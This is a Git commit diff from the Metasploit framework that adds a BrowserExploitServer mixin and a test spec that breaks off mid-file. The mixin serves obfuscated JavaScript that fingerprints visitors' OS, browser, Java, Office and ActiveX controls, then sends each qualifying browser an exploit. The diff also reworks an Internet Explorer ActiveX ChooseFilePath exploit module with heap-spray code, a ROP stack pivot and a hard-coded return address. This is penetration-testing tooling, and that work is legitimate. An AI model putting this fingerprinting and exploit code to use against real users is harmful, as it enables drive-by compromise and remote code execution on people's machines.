Land #2613, @wchen-r7's BrowserExploitServer mixin

bug/bundler_fix
jvazquez-r7 2013-11-12 17:33:12 -06:00
commit ef6d9db48f
No known key found for this signature in database
GPG Key ID: 38D99152B9352D83
17 changed files with 1159 additions and 139 deletions

View File

@ -1,9 +1,47 @@
window.addons_detect = { }; window.ie_addons_detect = { };
/**
* Returns true if this ActiveX is available, otherwise false.
* Grabbed this directly from browser_autopwn.rb
**/
window.ie_addons_detect.hasActiveX = function (axo_name, method) {
var axobj = null;
if (axo_name.substring(0,1) == String.fromCharCode(123)) {
axobj = document.createElement("object");
axobj.setAttribute("classid", "clsid:" + axo_name);
axobj.setAttribute("id", axo_name);
axobj.setAttribute("style", "visibility: hidden");
axobj.setAttribute("width", "0px");
axobj.setAttribute("height", "0px");
document.body.appendChild(axobj);
if (typeof(axobj[method]) == 'undefined') {
var attributes = 'id="' + axo_name + '"';
attributes += ' classid="clsid:' + axo_name + '"';
attributes += ' style="visibility: hidden"';
attributes += ' width="0px" height="0px"';
document.body.innerHTML += "<object " + attributes + "></object>";
axobj = document.getElementById(axo_name);
}
} else {
try {
axobj = new ActiveXObject(axo_name);
} catch(e) {
// If we can't build it with an object tag and we can't build it
// with ActiveXObject, it can't be built.
return false;
};
}
if (typeof(axobj[method]) != 'undefined') {
return true;
}
return false;
};
/** /**
* Returns the version of Microsoft Office. If not found, returns null. * Returns the version of Microsoft Office. If not found, returns null.
**/ **/
window.addons_detect.getMsOfficeVersion = function () { window.ie_addons_detect.getMsOfficeVersion = function () {
var version; var version;
var types = new Array(); var types = new Array();
for (var i=1; i <= 5; i++) { for (var i=1; i <= 5; i++) {

View File

@ -0,0 +1,64 @@
window.misc_addons_detect = { };
/**
* Returns the Java version
**/
window.misc_addons_detect.getJavaVersion = function () {
var foundVersion = null;
//
// This finds the Java version from Java WebStart's ActiveX control
// This is specific to Windows
//
for (var i1=0; i1 < 10; i1++) {
for (var i2=0; i2 < 10; i2++) {
for (var i3=0; i3 < 10; i3++) {
for (var i4=0; i4 < 10; i4++) {
var version = String(i1) + "." + String(i2) + "." + String(i3) + "." + String(i4);
var progId = "JavaWebStart.isInstalled." + version;
try {
new ActiveXObject(progId);
return version;
}
catch (e) {
continue;
}
}}}}
//
// This finds the Java version from window.navigator.mimeTypes
// This seems to work pretty well for most browsers except for IE
//
if (foundVersion == null) {
var mimes = window.navigator.mimeTypes;
for (var i=0; i<mimes.length; i++) {
var m = /java.+;version=(.+)/.exec(mimes[i].type);
if (m) {
var version = parseFloat(m[1]);
if (version > foundVersion) {
foundVersion = version;
}
}
}
}
//
// This finds the Java version from navigator plugins
// This is necessary for Windows + Firefox setup, but the check isn't as good as the mime one.
// So we do this last.
//
if (foundVersion == null) {
var foundJavaString = "";
var pluginsCount = navigator.plugins.length;
for (i=0; i < pluginsCount; i++) {
var pluginName = navigator.plugins[i].name;
var pluginVersion = navigator.plugins[i].version;
if (/Java/.test(pluginName) && pluginVersion != undefined) {
foundVersion = navigator.plugins[i].version;
break;
}
}
}
return foundVersion;
}

View File

@ -867,6 +867,12 @@ window.os_detect.getVersion = function(){
os_flavor = "7"; os_flavor = "7";
os_sp = "SP1"; os_sp = "SP1";
break; break;
case "10016720":
// IE 10.0.9200.16721 / Windows 7 SP1
ua_version = "10.0";
os_flavor = "7";
os_sp = "SP1";
break;
case "1000": case "1000":
// IE 10.0.8400.0 (Pre-release + KB2702844), Windows 8 x86 English Pre-release // IE 10.0.8400.0 (Pre-release + KB2702844), Windows 8 x86 English Pre-release
ua_version = "10.0"; ua_version = "10.0";

View File

@ -1,25 +1,16 @@
function ajax_download(oArg) { function ajax_download(oArg) {
var method = oArg.method; if (!oArg.method) { oArg.method = "GET"; }
var path = oArg.path; if (!oArg.path) { throw "Missing parameter 'path'"; }
var data = oArg.data; if (!oArg.data) { oArg.data = null; }
if (method == undefined) { method = "GET"; } var xmlHttp = new XMLHttpRequest();
if (method == path) { throw "Missing parameter 'path'"; }
if (data == undefined) { data = null; }
if (window.XMLHttpRequest) {
xmlHttp = new XMLHttpRequest();
}
else {
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
}
if (xmlHttp.overrideMimeType) { if (xmlHttp.overrideMimeType) {
xmlHttp.overrideMimeType("text/plain; charset=x-user-defined"); xmlHttp.overrideMimeType("text/plain; charset=x-user-defined");
} }
xmlHttp.open(method, path, false); xmlHttp.open(oArg.method, oArg.path, false);
xmlHttp.send(data); xmlHttp.send(oArg.data);
if (xmlHttp.readyState == 4 && xmlHttp.status == 200) { if (xmlHttp.readyState == 4 && xmlHttp.status == 200) {
return xmlHttp.responseText; return xmlHttp.responseText;
} }

View File

@ -0,0 +1,10 @@
function postInfo(path, data) {
var xmlHttp = new XMLHttpRequest();
if (xmlHttp.overrideMimeType) {
xmlHttp.overrideMimeType("text/plain; charset=x-user-defined");
}
xmlHttp.open('POST', path, false);
xmlHttp.send(data);
}

View File

@ -0,0 +1,15 @@
if (!window.XMLHTTPRequest) {
(function() {
var idx, activeObjs = ["Microsoft.XMLHTTP", "Msxml2.XMLHTTP", "Msxml2.XMLHTTP.6.0", "Msxml2.XMLHTTP.3.0"];
for (idx = 0; idx < activeObjs.length; idx++) {
try {
new ActiveXObject(activeObjs[idx]);
window.XMLHttpRequest = function() {
return new ActiveXObject(activeObjs[idx]);
};
break;
}
catch (e) {}
}
})();
}

View File

@ -681,14 +681,6 @@ protected
OptEnum.new('HTML::base64', [false, 'Enable HTML obfuscation via an embeded base64 html object (IE not supported)', 'none', ['none', 'plain', 'single_pad', 'double_pad', 'random_space_injection']]), OptEnum.new('HTML::base64', [false, 'Enable HTML obfuscation via an embeded base64 html object (IE not supported)', 'none', ['none', 'plain', 'single_pad', 'double_pad', 'random_space_injection']]),
OptInt.new('HTML::javascript::escape', [false, 'Enable HTML obfuscation via HTML escaping (number of iterations)', 0]), OptInt.new('HTML::javascript::escape', [false, 'Enable HTML obfuscation via HTML escaping (number of iterations)', 0]),
], Exploit::Remote::HttpServer::HTML) ], Exploit::Remote::HttpServer::HTML)
# Cache Javascript
@cache_base64 = nil
@cache_ajax_download = nil
@cache_mstime_malloc = nil
@cache_property_spray = nil
@cache_heap_spray = nil
@cache_os_detect = nil
end end
# #
@ -747,6 +739,14 @@ protected
end end
#
# Transfers data using a POST request
#
def js_ajax_post
@cache_ajax_post ||= Rex::Exploitation::Js::Network.ajax_post
end
# #
# This function takes advantage of MSTIME's CTIMEAnimationBase::put_values function that's # This function takes advantage of MSTIME's CTIMEAnimationBase::put_values function that's
# suitable for a no-spray technique. There should be an allocation that contains an array of # suitable for a no-spray technique. There should be an allocation that contains an array of
@ -816,6 +816,14 @@ protected
@cache_os_detect ||= ::Rex::Exploitation::Js::Detect.os @cache_os_detect ||= ::Rex::Exploitation::Js::Detect.os
end end
def js_ie_addons_detect
@cache_ie_addons_detect ||= ::Rex::Exploitation::Js::Detect.ie_addons
end
def js_misc_addons_detect
@cache_misc_addons_detect ||= ::Rex::Exploitation::Js::Detect.misc_addons
end
# Transmits a html response to the supplied client # Transmits a html response to the supplied client
# #
# HTML evasions are implemented here. # HTML evasions are implemented here.

View File

@ -97,3 +97,5 @@ require 'msf/core/exploit/winrm'
# WebApp # WebApp
require 'msf/core/exploit/web' require 'msf/core/exploit/web'
require 'msf/core/exploit/remote/browser_exploit_server'

View File

@ -0,0 +1,503 @@
# -*- coding: binary -*-
require 'erb'
require 'rex/exploitation/js'
###
#
# The BrowserExploitServer mixin provides methods to do common tasks seen in modern browser
# exploitation, and is designed to work against common setups such as on Windows, OSX, and Linux.
#
###
module Msf
module Exploit::Remote::BrowserExploitServer
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
PROXY_REQUEST_HEADER_SET = Set.new(
%w{
CLIENT_IP
FORWARDED
FORWARDED_FOR
FORWARDED_FOR_IP
HTTP_CLIENT_IP
HTTP_FORWARDED
HTTP_FORWARDED_FOR
HTTP_FORWARDED_FOR_IP
HTTP_PROXY_CONNECTION
HTTP_VIA
HTTP_X_FORWARDED
HTTP_X_FORWARDED_FOR
VIA
X_FORWARDED
X_FORWARDED_FOR
})
# Requirements a browser module can define in either BrowserRequirements or in targets
REQUIREMENT_KEY_SET = {
:source => 'source', # Either 'script' or 'headers'
:ua_name => 'ua_name', # Example: MSIE
:ua_ver => 'ua_ver', # Example: 8.0, 9.0
:os_name => 'os_name', # Example: Microsoft Windows
:os_flavor => 'os_flavor', # Example: XP, 7
:language => 'language', # Example: en-us
:arch => 'arch', # Example: x86
:proxy => 'proxy', # 'true' or 'false'
:office => 'office', # Example: "2007", "2010"
:java => 'java', # Example: 1.6, 1.6.0.0
:clsid => 'clsid', # ActiveX clsid. Also requires the :method key
:method => 'method' # ActiveX method. Also requires the :clsid key
}
def initialize(info={})
super
# The mixin keeps 'target' so module doesn't lose it.
@target = target
# See get_profile's documentation to understand what @target_profiles stores
@target_profiles = {}
# Requirements are conditions that the browser must have in order to be exploited.
@requirements = extract_requirements(self.module_info['BrowserRequirements'] || {})
@info_receiver_page = rand_text_alpha(5)
@exploit_receiver_page = rand_text_alpha(6)
@noscript_receiver_page = rand_text_alpha(7)
register_options(
[
OptBool.new('Retries', [false, "Allow the browser to retry the module", true])
], Exploit::Remote::BrowserExploitServer)
end
#
# Syncs a block of code
#
# @param block [Proc] Block of code to sync
#
def sync(&block)
(@mutex ||= Mutex.new).synchronize(&block)
end
#
# Returns the resource (URI) to the module to allow access to on_request_exploit
#
# @return [String] URI to the exploit page
#
def get_module_resource
"#{get_resource.chomp("/")}/#{@exploit_receiver_page}"
end
#
# Returns the current target
#
def get_target
@target
end
#
# Returns a hash of recognizable requirements
#
# @param reqs [Hash] A hash that contains data for the requirements
# @return [Hash] A hash of requirements
#
def extract_requirements(reqs)
tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.has_key?(k.to_sym)}
# Make sure keys are always symbols
Hash[tmp.map{|(k,v)| [k.to_sym,v]}]
end
#
# Sets the target automatically based on what requirements are met.
# If there's a possible matching target, it will also merge the requirements.
# You can use the get_target() method to retrieve the most current target.
#
# @param profile [Hash] The profile to check
#
def try_set_target(profile)
match_counts = []
target_requirements = {}
targets.each do |t|
target_requirements = extract_requirements(t.opts)
if target_requirements.blank?
match_counts << 0
else
match_counts << target_requirements.select { |k,v|
if v.class == Regexp
profile[k] =~ v
else
profile[k] == v
end
}.length
end
end
if match_counts.max.to_i > 0
@target = targets[match_counts.index(match_counts.max)]
target_requirements = extract_requirements(@target.opts)
unless target_requirements.blank?
@requirements = @requirements.merge(target_requirements)
end
end
end
#
# Returns an array of items that do not meet the requirements
#
# @param profile [Hash] The profile to check
# @return [Array] An array of requirements not met
#
def get_bad_requirements(profile)
bad_reqs = []
# At this point the check is already done.
# If :activex is true, that means the clsid + method had a match,
# if not, then false.
if @requirements[:clsid] and @requirements[:method]
@requirements[:activex] = 'true' # Script passes boolean as string
end
@requirements.each do |k, v|
# Special keys to ignore because the script registers this as [:activex] = true or false
next if k == :clsid or k == :method
if v.class == Regexp
bad_reqs << k if profile[k.to_sym] !~ v
else
bad_reqs << k if profile[k.to_sym] != v
end
end
bad_reqs
end
#
# Returns the target profile based on the tag. Each profile has the following structure:
# 'cookie' =>
# {
# :os_name => 'Windows',
# :os_flavor => 'something'
# ...... etc ......
# }
# A profile should at least have info about the following:
# :source : The data source. Either from 'script', or 'headers'. The 'script' source
# should be more accurate in some scenarios like browser compatibility mode
# :ua_name : The name of the browser
# :ua_ver : The version of the browser
# :os_name : The name of the OS
# :os_flavor : The flavor of the OS (example: XP)
# :language : The system's language
# :arch : The system's arch
# :proxy : Indicates whether proxy is used
#
# For more info about what the actual value might be for each key, see HttpServer.
#
# If the source is 'script', the profile might have even more information about plugins:
# 'office' : The version of Microsoft Office (IE only)
# 'activex' : Whether a specific method is available from an ActiveX control (IE only)
# 'java' : The Java version
#
# @param tag [String] Either a cookie or IP + User-Agent
# @return [Hash] The profile found. If not found, returns nil
#
def get_profile(tag)
sync do
return @target_profiles[tag]
end
end
#
# Updates information for a specific profile
#
# @param target_profile [Hash] The profile to update
# @param key [Symbol] The symbol to use for the hash
# @param value [String] The value to assign
#
def update_profile(target_profile, key, value)
sync do
target_profile[key] = value
end
end
#
# Initializes a profile
#
# @param tag [String] A unique string as a way to ID the profile
#
def init_profile(tag)
sync do
@target_profiles[tag] = {}
end
end
#
# Retrieves a tag.
# First it obtains the tag from the browser's "Cookie" header.
# If the header is empty (possible if the browser has cookies disabled),
# then it will return a tag based on IP + the user-agent.
#
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
#
def retrieve_tag(request)
tag = request.headers['Cookie'].to_s
if tag.blank?
# Browser probably doesn't allow cookies, plan B :-/
ip = cli.peerhost
os = request.headers['User-Agent']
tag = Rex::Text.md5("#{ip}#{os}")
end
tag
end
#
# Registers target information to @target_profiles
#
# @param source [Symbol] Either :script, or :headers
# @param cli [Socket] Socket for the browser
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
#
def process_browser_info(source, cli, request)
tag = retrieve_tag(request)
# Browser doesn't allow cookies. Can't track that, use a different way to track.
init_profile(tag) if request.headers['Cookie'].blank?
target_info = get_profile(tag)
# Gathering target info from the detection stage
case source
when :script
# Gathers target data from a POST request
update_profile(target_info, :source, 'script')
raw = Rex::Text.uri_decode(Rex::Text.decode_base64(request.body))
raw.split('&').each do |item|
k, v = item.scan(/(\w+)=(.*)/).flatten
update_profile(target_info, k.to_sym, v)
end
when :headers
# Gathers target data from headers
# This may be less accurate, and most likely less info.
fp = fingerprint_user_agent(request.headers['User-Agent'])
# Module has all the info it needs, ua_string is kind of pointless.
# Kill this to save space.
fp.delete(:ua_string)
update_profile(target_info, :source, 'headers')
fp.each do |k, v|
update_profile(target_info, k.to_sym, v)
end
end
# Other detections
update_profile(target_info, :proxy, has_proxy?(request))
update_profile(target_info, :language, request.headers['Accept-Language'] || '')
report_client({
:host => cli.peerhost,
:ua_string => request.headers['User-Agent'],
:ua_name => target_info[:ua_name],
:ua_ver => target_info[:ua_ver]
})
end
#
# Checks if the target is running a proxy
#
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
# @return [Boolean] True if found, otherwise false
#
def has_proxy?(request)
proxy_header_set = PROXY_REQUEST_HEADER_SET & request.headers.keys
!proxy_header_set.empty?
end
#
# Returns the code for client-side detection
#
# @param user_agent [String] The user-agent of the browser
# @return [String] Returns the HTML for detection
#
def get_detection_html(user_agent)
ua_info = fingerprint_user_agent(user_agent)
os = ua_info[:os_name]
client = ua_info[:ua_name]
code = ERB.new(%Q|
<%= js_base64 %>
<%= js_os_detect %>
<%= js_ajax_post %>
<%= js_misc_addons_detect %>
<%= js_ie_addons_detect if os == OperatingSystems::WINDOWS and client == HttpClients::IE %>
function objToQuery(obj) {
var q = [];
for (var key in obj) {
q.push(encodeURIComponent(key) + '=' + encodeURIComponent(obj[key]));
}
return Base64.encode(q.join('&'));
}
window.onload = function() {
var osInfo = window.os_detect.getVersion();
var d = {
"<%=REQUIREMENT_KEY_SET[:os_name]%>" : osInfo.os_name,
"<%=REQUIREMENT_KEY_SET[:os_flavor]%>" : osInfo.os_flavor,
"<%=REQUIREMENT_KEY_SET[:ua_name]%>" : osInfo.ua_name,
"<%=REQUIREMENT_KEY_SET[:ua_ver]%>" : osInfo.ua_version,
"<%=REQUIREMENT_KEY_SET[:arch]%>" : osInfo.arch,
"<%=REQUIREMENT_KEY_SET[:java]%>" : window.misc_addons_detect.getJavaVersion()
};
<% if os == OperatingSystems::WINDOWS and client == HttpClients::IE %>
d['<%=REQUIREMENT_KEY_SET[:office]%>'] = window.ie_addons_detect.getMsOfficeVersion();
<%
clsid = @requirements[:clsid]
method = @requirements[:method]
if clsid and method
%>
d['activex'] = window.ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>');
<% end %>
<% end %>
var query = objToQuery(d);
postInfo("<%=get_resource.chomp("/")%>/<%=@info_receiver_page%>/", query);
window.location = "<%=get_resource.chomp("/")%>/<%=@exploit_receiver_page%>/";
}
|).result(binding())
js = ::Rex::Exploitation::JSObfu.new code
js.obfuscate
%Q|
<script>
#{js}
</script>
<noscript>
<img style="visibility:hidden" src="#{get_resource.chomp("/")}/#{@noscript_receiver_page}/">
<meta http-equiv="refresh" content="1; url=#{get_resource.chomp("/")}/#{@exploit_receiver_page}/">
</noscript>
|
end
#
# Handles exploit stages.
#
# @param cli [Socket] Socket for the browser
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
#
def on_request_uri(cli, request)
case request.uri
when get_resource.chomp("/")
#
# This is the information gathering stage
#
if get_profile(retrieve_tag(request))
send_redirect(cli, "#{get_resource.chomp("/")}/#{@exploit_receiver_page}")
return
end
print_status("Gathering target information.")
tag = Rex::Text.rand_text_alpha(rand(20) + 5)
ua = request.headers['User-Agent']
init_profile(tag)
html = get_detection_html(ua)
send_response(cli, html, {'Set-Cookie' => tag})
when /#{@info_receiver_page}/
#
# The detection code will hit this if Javascript is enabled
#
process_browser_info(source=:script, cli, request)
send_response(cli, '')
when /#{@noscript_receiver_page}/
#
# The detection code will hit this instead of Javascript is disabled
# Should only be triggered by the img src in <noscript>
#
process_browser_info(source=:headers, cli, request)
send_not_found(cli)
when /#{@exploit_receiver_page}/
#
# This sends the actual exploit. A module should define its own
# on_request_exploit() to get the target information
#
tag = retrieve_tag(request)
profile = get_profile(tag)
if profile[:tried] and datastore['Retries'] == false
print_status("Target with tag \"#{tag}\" wants to retry the module, not allowed.")
send_not_found(cli)
else
update_profile(profile, :tried, true)
try_set_target(profile)
bad_reqs = get_bad_requirements(profile)
if bad_reqs.empty?
method(:on_request_exploit).call(cli, request, profile)
else
print_warning("Exploit requirement(s) not met: #{bad_reqs * ', '}")
send_not_found(cli)
end
end
else
send_not_found(cli)
end
end
#
# Overriding method. The module should override this.
#
# @param cli [Socket] Socket for the browser
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
# @param browser_info [Hash] The target profile
#
def on_request_exploit(cli, request, browser_info)
raise NoMethodError, "Module must define its own on_request_exploit method"
end
#
# Converts an ERB-based exploit template into HTML, and sends to client
#
# @param cli [Socket] Socket for the browser
# @param template [String] The ERB template. If you want to pass the binding object,
# then this is handled as an Array, with the first element
# being the HTML, and the second element is the binding object.
# @param headers [Hash] The custom HTTP headers to include in the response
#
def send_exploit_html(cli, template, headers={})
html = ''
if template.class == Array
html = ERB.new(template[0]).result(template[1])
else
html = ERB.new(template).result
end
send_response(cli, html, headers)
end
#
# Generates a target-specific payload, should be called by the module
#
# @param cli [Socket] Socket for the browser
# @param browser_info [Hash] The target profile
# @return [String] The payload
#
def get_payload(cli, browser_info)
arch = browser_info[:arch]
platform = browser_info[:os_name]
# Fix names for consisntecy so our API can find the right one
# Originally defined in lib/msf/core/constants.rb
platform = platform.gsub(/^Mac OS X$/, 'OSX')
platform = platform.gsub(/^Microsoft Windows$/, 'Windows')
regenerate_payload(cli, platform, arch).encoded
end
end
end

View File

@ -31,5 +31,13 @@ module Exploit::RopDb
return rop_payload return rop_payload
end end
def rop_junk
rand_text_alpha(4).unpack("V")[0].to_i
end
def rop_nop
make_nops(4).unpack("V")[0].to_i
end
end end
end end

View File

@ -39,13 +39,25 @@ class Detect
# #
# Provides javascript functions to determine addon information. # Provides javascript functions to determine IE addon information.
# #
# getMsOfficeVersion(): Returns the version for Microsoft Office # getMsOfficeVersion(): Returns the version for Microsoft Office
# #
def self.addons(custom_js = '') def self.ie_addons(custom_js = '')
js = custom_js js = custom_js
js << ::File.read(::File.join(Msf::Config.data_directory, "js", "detect", "addons.js")) js << ::File.read(::File.join(Msf::Config.data_directory, "js", "detect", "ie_addons.js"))
Rex::Exploitation::JSObfu.new(js)
end
#
# Provides javascript functions that work for all browsers to determine addon information
#
# getJavaVersion(): Returns the Java version
#
def self.misc_addons(custom_js = '')
js = custom_js
js << ::File.read(::File.join(Msf::Config.data_directory, "js", "detect", "misc_addons.js"))
Rex::Exploitation::JSObfu.new(js) Rex::Exploitation::JSObfu.new(js)
end end

View File

@ -11,10 +11,40 @@ module Js
# #
class Network class Network
def self.ajax_download # @param [Hash] opts the options hash
# @option opts [Boolean] :obfuscate toggles js obfuscation. defaults to true.
# @option opts [Boolean] :inject_xhr_shim automatically stubs XHR to use ActiveXObject when needed.
# defaults to true.
# @return [String] javascript code to perform a synchronous ajax request to the remote
# and returns the response
def self.ajax_download(opts={})
should_obfuscate = opts.fetch(:obfuscate, true)
js = ::File.read(::File.join(Msf::Config.data_directory, "js", "network", "ajax_download.js")) js = ::File.read(::File.join(Msf::Config.data_directory, "js", "network", "ajax_download.js"))
::Rex::Exploitation::ObfuscateJS.new(js, if should_obfuscate
js = ::Rex::Exploitation::ObfuscateJS.new(js,
{
'Symbols' => {
'Variables' => %w{ xmlHttp oArg }
}
}).obfuscate
end
xhr_shim(opts) + js
end
# @param [Hash] opts the options hash
# @option opts [Boolean] :obfuscate toggles js obfuscation. defaults to true.
# @option opts [Boolean] :inject_xhr_shim automatically stubs XHR to use ActiveXObject when needed.
# defaults to true.
# @return [String] javascript code to perform a synchronous ajax request to the remote with
# the data specified
def self.ajax_post(opts={})
should_obfuscate = opts.fetch(:obfuscate, true)
js = ::File.read(::File.join(Msf::Config.data_directory, "js", "network", "ajax_post.js"))
if should_obfuscate
js = ::Rex::Exploitation::ObfuscateJS.new(js,
{ {
'Symbols' => { 'Symbols' => {
'Variables' => %w{ xmlHttp } 'Variables' => %w{ xmlHttp }
@ -22,6 +52,32 @@ class Network
}).obfuscate }).obfuscate
end end
xhr_shim(opts) + js
end
# @param [Hash] opts the options hash
# @option opts [Boolean] :obfuscate toggles js obfuscation. defaults to true.
# @option opts [Boolean] :inject_xhr_shim false causes this method to return ''. defaults to true.
# @return [String] javascript code that adds XMLHttpRequest to the global scope if it
# does not exist (e.g. on IE6, where you have to use the ActiveXObject constructor)
def self.xhr_shim(opts={})
return '' unless opts.fetch(:inject_xhr_shim, true)
should_obfuscate = opts.fetch(:obfuscate, true)
js = ::File.read(::File.join(Msf::Config.data_directory, "js", "network", "xhr_shim.js"))
if should_obfuscate
js = ::Rex::Exploitation::ObfuscateJS.new(js,
{
'Symbols' => {
'Variables' => %w{ activeObjs idx }
}
}
).obfuscate
end
js
end
end end
end end
end end

View File

@ -8,21 +8,7 @@ require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::BrowserExploitServer
include Msf::Exploit::Remote::BrowserAutopwn
include Msf::Exploit::RopDb
autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "6.0",
:ua_maxver => "8.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:rank => Rank,
:classid => "{09F68A41-2FBE-11D3-8C9D-0008C7D901B6}",
:method => "ChooseFilePath",
})
def initialize(info={}) def initialize(info={})
super(update_info(info, super(update_info(info,
@ -56,37 +42,61 @@ class Metasploit3 < Msf::Exploit::Remote
'InitialAutoRunScript' => 'migrate -f' 'InitialAutoRunScript' => 'migrate -f'
}, },
'Platform' => 'win', 'Platform' => 'win',
'BrowserRequirements' =>
{
:source => /script|headers/i,
:clsid => "{09F68A41-2FBE-11D3-8C9D-0008C7D901B6}",
:method => "ChooseFilePath",
:os_name => /win/i
},
'Targets' => 'Targets' =>
[ [
[ 'Automatic', {} ], [ 'Automatic', {} ],
[ 'IE 6 on Windows XP SP3', [
'Windows XP with IE 6',
{ {
'os_flavor' => 'XP',
'ua_name' => 'MSIE',
'ua_ver' => '6.0',
'Rop' => false, 'Rop' => false,
'Offset' => '0x5F4', 'Offset' => '0x5F4',
'Ret' => 0x0c0c0c0c 'Ret' => 0x0c0c0c0c
} }
], ],
[ 'IE 7 on Windows XP SP3', [
'Windows XP with IE 7',
{ {
'os_flavor' => 'XP',
'ua_name' => 'MSIE',
'ua_ver' => '7.0',
'Rop' => false, 'Rop' => false,
'Offset' => '0x5F4', 'Offset' => '0x5F4',
'Ret' => 0x0c0c0c0c 'Ret' => 0x0c0c0c0c
} }
], ],
[ 'IE 8 on Windows XP SP3', [
'Windows XP with IE 8',
{ {
'os_flavor' => 'XP',
'ua_name' => 'MSIE',
'ua_ver' => '8.0',
'Rop' => true, 'Rop' => true,
'Offset' => '0x5f6', 'Offset' => '0x5f6',
'Ret' => 0x77c2282e # stackpivot # mov esp,ebp # pop ebp # retn # msvcrt.dll 'Ret' => 0x77c2282e # stackpivot # mov esp,ebp # pop ebp # retn # msvcrt.dll
} }
], ],
[ 'IE 7 on Windows Vista', [
'Windows Vista with IE 7',
{ {
'os_flavor' => 'Vista',
'ua_name' => 'MSIE',
'ua_ver' => '7.0',
'Rop' => false, 'Rop' => false,
'Offset' => '0x5F4', 'Offset' => '0x5F4',
'Ret' => 0x0c0c0c0c 'Ret' => 0x0c0c0c0c
} }
] ]
], ],
'Privileged' => false, 'Privileged' => false,
'DisclosureDate' => "Apr 1 2012", 'DisclosureDate' => "Apr 1 2012",
@ -95,41 +105,14 @@ class Metasploit3 < Msf::Exploit::Remote
register_options( register_options(
[ [
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class) ], self.class
)
end end
def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' def ie_heap_spray(p)
ie = agent.scan(/MSIE (\d)/).flatten[0] || '' js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(get_target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(get_target.arch))
ie_name = "IE #{ie}"
case nt
when '5.1'
os_name = 'Windows XP SP3'
when '6.0'
os_name = 'Windows Vista'
when '6.1'
os_name = 'Windows 7'
end
targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
print_status("Target selected as: #{t.name}")
return t
end
end
return nil
end
def ie_heap_spray(my_target, p)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
# Land the payload at 0x0c0c0c0c # Land the payload at 0x0c0c0c0c
@ -138,7 +121,7 @@ class Metasploit3 < Msf::Exploit::Remote
var code = unescape("#{js_code}"); var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}"); var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops; while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']}); var offset = nops.substring(0, #{get_target['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode; while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2); var block = shellcode.substring(0, (0x80000-6)/2);
@ -158,49 +141,35 @@ class Metasploit3 < Msf::Exploit::Remote
return js return js
end end
def load_exploit_html(my_target, cli) def exploit_template(cli, target_info)
if my_target['Rop'] if get_target['Rop']
p = generate_rop_payload('msvcrt', payload.encoded, {'target'=>'xp'}) p = generate_rop_payload('msvcrt', get_payload(cli, target_info), {'target'=>'xp'})
else else
p = payload.encoded p = get_payload(cli, target_info)
end end
spray = ie_heap_spray(my_target, p) spray = ie_heap_spray(p)
target_ret = Rex::Text.to_hex([get_target.ret].pack("V"))
html = %Q| html_template = %Q|
<html> <html>
<object id="pwnd" classid="clsid:09F68A41-2FBE-11D3-8C9D-0008C7D901B6"></object> <object id="pwnd" classid="clsid:09F68A41-2FBE-11D3-8C9D-0008C7D901B6"></object>
<script> <script>
#{spray} <%=spray%>
junk=''; junk='';
for( counter=0; counter<=267; counter++) junk+=unescape("%0c"); for( counter=0; counter<=267; counter++) junk+=unescape("%0c");
pwnd.ChooseFilePath(junk + "#{Rex::Text.to_hex([my_target.ret].pack("V"))}"); pwnd.ChooseFilePath(junk + "<%=target_ret%>");
</script> </script>
</html> </html>
| |
return html return html_template, binding()
end end
def on_request_uri(cli, request) def on_request_exploit(cli, request, target_info)
agent = request.headers['User-Agent']
uri = request.uri
print_status("Requesting: #{uri}")
my_target = get_target(agent)
# Avoid the attack if no suitable target found
if my_target.nil?
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end
html = load_exploit_html(my_target, cli)
html = html.gsub(/^\t\t/, '')
print_status("Sending HTML...") print_status("Sending HTML...")
send_response(cli, html, {'Content-Type'=>'text/html'}) send_exploit_html(cli, exploit_template(cli, target_info))
end end
end end

View File

@ -0,0 +1,174 @@
require 'spec_helper'
require 'msf/core'
require 'msf/core/exploit/remote/browser_exploit_server'
describe Msf::Exploit::Remote::BrowserExploitServer do
subject(:server) do
mod = Msf::Exploit.allocate
mod.extend described_class
mod.send(:initialize, {})
mod
end
let(:service_double) do
service = double("service")
service.stub(:server_name=)
service.stub(:add_resource)
service
end
let(:profile_name) do
"random"
end
let(:expected_os_name) do
"linux"
end
let(:expected_user_agent) do
"Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
end
let(:expected_profile) do
{
:source=>"script",
:os_name=>"Microsoft Windows",
:os_flavor=>"XP",
:ua_name=>"MSIE",
:ua_ver=>"8.0",
:arch=>"x86",
:office=>"null",
:activex=>"true",
:proxy=>false,
:language=>"en-us",
:tried=>true
}
end
before do
Rex::ServiceManager.stub(:start => service_double)
end
before(:each) do
server.start_service
end
describe ".get_module_resource" do
it "should give me a URI to access the exploit page" do
